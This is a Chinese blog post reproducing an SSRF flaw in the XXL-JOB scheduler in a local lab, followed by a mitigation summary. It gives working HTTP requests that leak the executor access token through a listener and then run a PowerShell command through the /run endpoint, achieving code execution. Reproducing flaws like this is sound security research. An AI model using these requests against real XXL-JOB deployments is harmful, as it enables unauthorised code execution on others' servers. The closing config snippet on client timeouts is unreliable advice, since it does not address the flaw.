xxl-job ssrf漏洞复现

xxl-job ssrf漏洞复现

漏洞简介

XXL-JOB是基于java语言的分布式任务调度平台,该漏洞来自/trigger,直接向addressList指定的地址发送请求,不判断addressList参数是否为有效的执行器地址。它可以利用SSRF漏洞,攻击者获取XXL-JOB-ACCESS-TOKEN并调用任意执行器

漏洞复现

项目地址:https://github.com/xuxueli/xxl-job

搭建环境,配置JDBC与TOKEN

image-20240126102117589

image-20240126102149282

根据官方文档,需要将调度中心和执行器,设置了相同的AccessToken

image-20240126102310287

所以将执行器token也设为123

image-20240126102405241

启动项目进入登陆界面http://127.0.0.1:8080/xxl-job-admin/,默认密码admin/123456

image-20240126102606521

新建一个低权限测试账户test/123456

image-20240126102633145

登录低权限账户发现无法访问任务管理功能页面

image-20240126102845403

image-20240126102825960

构造poc

POST /xxl-job-admin/jobinfo/trigger HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 69
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2274657374222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

id=1&executorParam=test&addressList=http%3A%2F%2F127.0.0.1%3A9090

开启一个nc监听端口9090,发送poc,查看泄露token

image-20240126103209960

RCE

构造payload

POST /run HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 69
XXL-JOB-ACCESS-TOKEN: 123
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close



{
        "jobId":1,                                  
        "executorHandler":"demoJobHandler",         
        "executorParams":"demoJobHandler",          
        "executorBlockStrategy":"COVER_EARLY",      
        "executorTimeout":0,                        
        "logId":1,                                  
        "logDateTime":1586629003729,                
        "glueType":"GLUE_POWERSHELL",                          
        "glueSource":"calc",                         
        "glueUpdatetime":1586629003727,             
        "broadcastIndex":0,                         
        "broadcastTotal":0                          
}

发送,即可发现计算机弹出

image-20240126110257270

### 关于XXL-JOB中的SSRF漏洞及其解决方法 #### SSRF漏洞概述 XXL-JOB是一个基于Java语言开发的分布式任务调度平台,在特定版本中存在的安全问题之一是SSRF(Server-Side Request Forgery)。当应用程序被诱导发起至内部网络或其他敏感位置的目标URL请求时,就会发生此类漏洞。对于XXL-JOB而言,`/trigger`接口允许攻击者通过设置`addressList`参数来触发向指定地址发出HTTP请求的行为,而无需验证这些地址的有效性和合法性[^2]。 #### 影响范围 此漏洞影响到XXL-JOB的所有<=2.3.1版本的产品实例。由于缺乏对外部输入数据的有效校验机制,使得恶意用户能够利用这一特性绕过防火墙限制,进而可能造成更严重的后果如远程代码执行(RCE)[^1]。 #### 解决方案与预防措施 ##### 更新软件版本 最直接有效的方式就是尽快升级到官方发布的最新稳定版程序,通常开发者会在新版本中修复已知的安全隐患。因此建议立即迁移到高于2.3.1以上的正式发行版本以获得更好的安全性保障[^4]。 ##### 输入验证加强 针对现有环境无法及时更新的情况,则应着重强化对用户提交内容特别是涉及到外部资源链接的部分进行严格过滤和白名单管理。具体来说就是在接收到任何有关目标主机名或IP地址之前先对其进行必要的解析处理,并仅限于接受那些事先定义好的可信源列表内的条目作为合法选项[^3]。 ##### 配置调整优化 除了上述两点外还可以考虑采取一些额外配置上的改进措施比如启用HTTPS协议加密通信通道防止中间人劫持篡改流量;关闭不必要的服务端口减少暴露面;以及定期审查日志文件查找异常活动迹象等等。 ```bash # 修改application.properties 或 application.yml 文件, 添加如下配置项 spring.http.client.connect-timeout=5000ms spring.http.client.read-timeout=10000ms ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值